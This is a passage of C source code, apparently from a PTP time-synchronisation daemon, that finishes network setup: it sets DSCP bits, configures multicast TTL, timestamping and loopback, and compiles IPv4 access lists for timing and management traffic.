			PERROR("failed to call SO_BINDTODEVICE on the interface");
			return FALSE;
		}
#endif
#endif

		/* Set socket dscp */
		if(rtOpts->dscpValue) {

			if (setsockopt(netPath->eventSock, IPPROTO_IP, IP_TOS,
				 &rtOpts->dscpValue, sizeof(int)) < 0
			    || setsockopt(netPath->generalSock, IPPROTO_IP, IP_TOS,
				&rtOpts->dscpValue, sizeof(int)) < 0) {
				    PERROR("Failed to set socket DSCP bits");
				    return FALSE;
				}
		}

		/* send a uni-cast address if specified (useful for testing) */
		if(!hostLookup(rtOpts->unicastAddress, &netPath->unicastAddr)) {
	                netPath->unicastAddr = 0;
		}


		if(rtOpts->ip_mode != IPMODE_UNICAST)  {

			/* init UDP Multicast on both Default and Peer addresses */
			if (!netInitMulticast(netPath, rtOpts))
				return FALSE;

			/* set socket time-to-live  */
			if(!netSetMulticastTTL(netPath->eventSock,rtOpts->ttl) ||
			    !netSetMulticastTTL(netPath->generalSock,rtOpts->ttl))
				return FALSE;

			/* start tracking TTL */
			netPath->ttlEvent = rtOpts->ttl;
			netPath->ttlGeneral = rtOpts->ttl;
		}

#ifdef SO_TIMESTAMPING
			/* Reset the failure indicator when (re)starting network */
			netPath->txTimestampFailure = FALSE;
			/* for SO_TIMESTAMPING we're receiving transmitted packets via ERRQUEUE */
			temp = 0;
#else
			/* enable loopback */
			temp = 1;
#endif

		/* make timestamps available through recvmsg() */
		if (!netInitTimestamping(netPath,rtOpts)) {
			ERROR("Failed to enable packet time stamping\n");
			return FALSE;
		}

#ifdef SO_TIMESTAMPING
		/* If we failed to initialise SO_TIMESTAMPING, enable mcast loopback */
		if(netPath->txTimestampFailure)
			temp = 1;
#endif

			if(!netSetMulticastLoopback(netPath, temp)) {
				return FALSE;
			}

#ifdef PTPD_PCAP
	}
#endif

	/* Compile ACLs */
	if(rtOpts->timingAclEnabled) {
    		freeIpv4AccessList(&netPath->timingAcl);
		netPath->timingAcl=createIpv4AccessList(rtOpts->timingAclPermitText,
			rtOpts->timingAclDenyText, rtOpts->timingAclOrder);
	}
	if(rtOpts->managementAclEnabled) {
		freeIpv4AccessList(&netPath->managementAcl);
		netPath->managementAcl=createIpv4AccessList(rtOpts->managementAclPermitText,
			rtOpts->managementAclDenyText, rtOpts->managementAclOrder);
	}

	return TRUE;
}